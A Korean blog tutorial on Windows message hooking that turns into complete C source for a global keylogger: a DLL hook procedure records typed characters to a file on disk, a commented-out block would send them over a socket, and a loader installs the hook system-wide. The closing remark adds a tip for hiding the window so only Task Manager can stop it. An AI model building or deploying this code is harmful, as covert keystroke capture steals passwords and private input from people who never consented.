간단한 메시지 훅 만들기
SendMessage, PostMessage (자세한 사항은 API 참조)
그리고 이 메시지는 GetMessage가 받아서 가상 키 코드로 변환하여 각 루프에 따라 동작하도록 한다.
예를 들어 사용자가 'A'키를 눌렀다면
WM_KEYDOWN
WM_CHAR
WM_KEYUP
위와 같이 3개의 메시지가 한꺼번에 발생한다.
메시지 훅 API
메시지 훅은 API가 제공하는 가장 강력한 기능중 하나 이다.
쓰레드로 가는 메시지도 가로챌수 있고 윈도우에서 발생하는 모든 메시지도 가로 챌 수 있다.
메시지 후킹을 하기 위한 가장 핵심함수는 아래와 같다.
SetWindowsHookExW(
__in int idHook,
__in HOOKPROC lpfn,
__in_opt HINSTANCE hmod,
__in DWORD dwThreadId);
idHook은 훅의 종류를 결정, lpfn은 지정한 이벤트가 발생했을때 그 처리를 부탁한 프로시저의 주소,
hMod는 lpfn이 있는 DLL의 시작 첫 주소를 가리킨다.
dwThreadId는 쓰레드 단위의 훅을 걸때 Thread의 ID를 저거주면 된다.
idHook에 가능한 입력중 핵심 메시지는 다음과 같다.
WH_CALLWNDPROC// 윈도우가 SendMessage로 메시지를 보내면 누군가 WH_CALLWNDPROC을 걸어 놓았는지 체크한다.
// 훅을 건 녀석이 있다면 해당 훅 프로시저를 부른다.
WH_CALLWNDPROCRET
// WH_CALLWNDPROC과 반대로 메시지를 보낸 후에 훅을 건 녀석이 있는지 확인하여 프로시저를 호출한다.
WH_GETMESSAGE
// 윈도우에 전송되어 있는 메시지를 GetMessage나 PeekMessage등으로 가져가려고 할 때 사용한다.
WH_KEYBOARD
// 입력 포커스가 없어도 키 입력을 가로챈다.
메시지 후킹
보편적으로 메시지를 후킹할 때에는 DLL에 훅 프로시저를 넣어 놓고 메시지를 후킹한다.
프로세스 단에서 실행하게되면 특정 프로세스에서만 발생하는 메시지밖에 받아 올 수 없기 때문에 모든 프로세스가
접근가능한 DLL에 작성하여 모든 프로세스에서 훅프로시저가 작동하도록 한다.
키보드 메시지를 후킹하자!
책에 나온거에서 작동하지 않는 부분이 많아서 예제를 수정했다.(DLL 작성법은 따로 참조)
MStrack.DLL
실행 루틴
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#define BUFFER_SIZE 22
HINSTANCE hinst;
staticchar str[BUFFER_SIZE];
staticint count = 0;
static BOOL stop = FALSE;
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason,
LPVOID lpReserved)
{
if( dwReason == DLL_PROCESS_ATTACH )
{
hinst = hinstDll;
str[0] = 0;
}
returnTRUE;
}
__declspec( dllexport ) LRESULT CALLBACK GetMsgProc(
INT nCode,WPARAM wp,LPARAM lp)
{
HFILE hFile;
long msgTemp;
char strTemp[2];
WSADATA wsaData;
SOCKET sock;
SOCKADDR_IN sock_addr;
if( nCode >= 0 )
{
msgTemp = ( (MSG*)lp )->message;
if(msgTemp == (long)WM_CHAR)
{
count++;
if( count > 20 )
{
char a[5] = { 13, 10, 13, 10, 0 };
// MessageBeep(1);
hFile = _lopen("c:\\result.txt", OF_READWRITE);
if( hFile < 0 )
{ // 이미 있으면 이어 붙인다.
hFile = _lcreat("c:\\result.txt", 0);
_llseek( hFile, 0L, FILE_BEGIN);
}
else _llseek( hFile, 0L, FILE_END);
_lwrite( hFile, a, 5);
_lwrite( hFile, str, BUFFER_SIZE);
_lclose( hFile );
count = 0;
//
// if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
//{
// MessageBox(NULL,TEXT("error start"),TEXT("error start"),MB_OK);
// exit(-1);
//}
//sock = socket(AF_INET, SOCK_STREAM, 0);
//if(INVALID_SOCKET != sock)
//{
// memset(&sock_addr,0,sizeof(sock_addr));
// sock_addr.sin_family = AF_INET;
// sock_addr.sin_port = htons(9190);
// sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// //strcpy(msg,str);
// if(connect(sock, (SOCKADDR*)&sock_addr,sizeof(sock_addr)) == SOCKET_ERROR)
// MessageBox(NULL,TEXT("send error"),TEXT("send error"),MB_OK);
// else
// send(sock,str,strlen(str),0);
//
// closesocket(sock);
//}
//WSACleanup();
memset(str,0,sizeof(str));
}
else
{
strTemp[0] = ((MSG*)lp)->wParam;
strTemp[1] = 0;
strcat( str, strTemp);
}
}
}
return (stop)?TRUE:CallNextHookEx(NULL, nCode, wp, lp);
}
실행 루틴
#include <windows.h>
LRESULT FAR PASCAL WndProc(HWND, UINT, UINT, LONG);
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpszCmdParam,
int nCmdShow)
// 윈도우 프로그램의 시작점 APIENTRY는 _stdcall 매크로
{
static TCHAR szAppName[] = TEXT("Hello World");
HWND hWnd;
MSG Msg;
WNDCLASS WndClass;
if(!hPrevInstance)
{
WndClass.cbClsExtra=0; //예약공간
WndClass.cbWndExtra=0; // 예약공간
WndClass.hbrBackground=(HBRUSH)(COLOR_WINDOW+1); //윈도우의 배경색 지정
WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); // 윈도우 내에서 사용될 커서등록
WndClass.hIcon=LoadIcon(NULL,IDI_ASTERISK); // 타이틀바의 아이콘등록
WndClass.hInstance=hInstance; //윈도우 클래스를 등록하는 프로그램 번호
WndClass.lpfnWndProc=WndProc; // 메시지 처리 함수 지정
WndClass.lpszClassName=szAppName; //윈도우 클래스 이름을 문자열로 정의
WndClass.lpszMenuName=NULL; // 프로그램이 사용 할 메뉴 등록
WndClass.style=CS_HREDRAW | CS_VREDRAW;
RegisterClass(&WndClass); }
hWnd=CreateWindow(szAppName,TEXT("Hello"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL,hInstance,NULL);
ShowWindow(hWnd,nCmdShow);
UpdateWindow(hWnd);
while(GetMessage(&Msg,NULL,0,0)){ // 메시지 큐에서 메시지를 읽어들인다.
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return (int)Msg.wParam;
}
LRESULT FAR PASCAL WndProc(HWND hWnd, UINT iMessage, UINT wParam, LONG lParam)
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
HOOKPROC hGetMsgProc;
static HINSTANCE hinstDll;
static HHOOK hKeyHook;
staticint count = 0;
switch(iMessage){
case WM_CREATE : // 윈도우 생성과 동시에 호출되는 메시지
hinstDll = LoadLibrary(TEXT("MStrack.dll"));
if(!hinstDll)
{
MessageBox(hWnd,TEXT("ASDASD"),TEXT("ASDAD"),MB_OK);
ExitProcess(1);
}
hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll,"GetMsgProc");
hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);
if(!hKeyHook)
{
MessageBox(hWnd,TEXT("ASDASD"),TEXT("ASDAD"),MB_OK);
FreeLibrary(hinstDll);
ExitProcess(1);
}
return0;
case WM_DESTROY:
PostQuitMessage(0);
return0;
}
return DefWindowProc(hWnd,iMessage,wParam,lParam);
}
윈도우 생성 후에 SW_HIDE 메시지만 추가하면 이 루틴은 작업관리자에서만 멈출 수 있다..
'컴퓨터 기술 > PE 포맷' 카테고리의 다른 글
패킷 감청 :: WinPcap을 이용한 패킷 관련 소스 (0) | 2011.03.07 |
---|---|
네트워크 :: 웹사이트 IP주소 얻기 (0) | 2011.03.06 |
PE 파일 :: Imports 상세 분석(memory) (0) | 2011.02.25 |
PE 파일 :: Imports 상세 분석(disk) (0) | 2011.02.25 |
PE 파일 :: Import Section 분석 (0) | 2011.02.25 |
댓글 로드 중…